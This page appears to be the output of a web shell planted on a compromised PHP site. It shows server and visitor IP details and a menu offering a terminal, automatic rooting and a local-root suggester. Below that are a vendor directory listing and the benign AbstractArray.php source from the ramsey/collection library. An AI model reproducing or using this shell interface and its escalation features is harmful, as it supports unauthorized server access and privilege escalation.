Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.73.229
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
ramsey /
collection /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Exception
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
Map
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
Tool
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
AbstractArray.php
4.69
KB
-rw-r--r--
2020-11-17 16:24
AbstractCollection.php
12.79
KB
-rw-r--r--
2020-11-17 16:24
AbstractSet.php
1.77
KB
-rw-r--r--
2020-11-17 16:24
ArrayInterface.php
985
B
-rw-r--r--
2020-11-17 16:24
Collection.php
2.55
KB
-rw-r--r--
2020-11-17 16:24
CollectionInterface.php
6.34
KB
-rw-r--r--
2020-11-17 16:24
DoubleEndedQueue.php
7.66
KB
-rw-r--r--
2020-11-17 16:24
DoubleEndedQueueInterface.php
10.01
KB
-rw-r--r--
2020-11-17 16:24
GenericArray.php
476
B
-rw-r--r--
2020-11-17 16:24
Queue.php
5.99
KB
-rw-r--r--
2020-11-17 16:24
QueueInterface.php
7.13
KB
-rw-r--r--
2020-11-17 16:24
Set.php
1.75
KB
-rw-r--r--
2020-11-17 16:24
Save
Rename
<?php /** * This file is part of the ramsey/collection library * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. * * @copyright Copyright (c) Ben Ramsey <ben@benramsey.com> * @license http://opensource.org/licenses/MIT MIT */ declare(strict_types=1); namespace Ramsey\Collection; use ArrayIterator; use Traversable; use function serialize; use function unserialize; /** * This class provides a basic implementation of `ArrayInterface`, to minimize * the effort required to implement this interface. */ abstract class AbstractArray implements ArrayInterface { /** * The items of this array. * * @var mixed[] */ protected $data = []; /** * Constructs a new array object. * * @param mixed[] $data The initial items to add to this array. */ public function __construct(array $data = []) { // Invoke offsetSet() for each value added; in this way, sub-classes // may provide additional logic about values added to the array object. foreach ($data as $key => $value) { $this[$key] = $value; } } /** * Returns an iterator for this array. * * @link http://php.net/manual/en/iteratoraggregate.getiterator.php IteratorAggregate::getIterator() * * @return ArrayIterator<mixed, mixed> */ public function getIterator(): Traversable { return new ArrayIterator($this->data); } /** * Returns `true` if the given offset exists in this array. * * @link http://php.net/manual/en/arrayaccess.offsetexists.php ArrayAccess::offsetExists() * * @param mixed $offset The offset to check. */ public function offsetExists($offset): bool { return isset($this->data[$offset]); } /** * Returns the value at the specified offset. * * @link http://php.net/manual/en/arrayaccess.offsetget.php ArrayAccess::offsetGet() * * @param mixed $offset The offset for which a value should be returned. * * @return mixed|null the value stored at the offset, or null if the offset * does not exist. */ public function offsetGet($offset) { return $this->data[$offset] ?? null; } /** * Sets the given value to the given offset in the array. * * @link http://php.net/manual/en/arrayaccess.offsetset.php ArrayAccess::offsetSet() * * @param mixed|null $offset The offset to set. If `null`, the value may be * set at a numerically-indexed offset. * @param mixed $value The value to set at the given offset. */ public function offsetSet($offset, $value): void { if ($offset === null) { $this->data[] = $value; } else { $this->data[$offset] = $value; } } /** * Removes the given offset and its value from the array. * * @link http://php.net/manual/en/arrayaccess.offsetunset.php ArrayAccess::offsetUnset() * * @param mixed $offset The offset to remove from the array. */ public function offsetUnset($offset): void { unset($this->data[$offset]); } /** * Returns a serialized string representation of this array object. * * @link http://php.net/manual/en/serializable.serialize.php Serializable::serialize() * * @return string a PHP serialized string. */ public function serialize(): string { return serialize($this->data); } /** * Converts a serialized string representation into an instance object. * * @link http://php.net/manual/en/serializable.unserialize.php Serializable::unserialize() * * @param string $serialized A PHP serialized string to unserialize. * * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint */ public function unserialize($serialized): void { $this->data = unserialize($serialized, ['allowed_classes' => false]); } /** * Returns the number of items in this array. * * @link http://php.net/manual/en/countable.count.php Countable::count() */ public function count(): int { return count($this->data); } /** * Removes all items from this array. */ public function clear(): void { $this->data = []; } /** * Returns a native PHP array representation of this array object. * * @return mixed[] */ public function toArray(): array { return $this->data; } /** * Returns `true` if this array is empty. */ public function isEmpty(): bool { return count($this->data) === 0; } }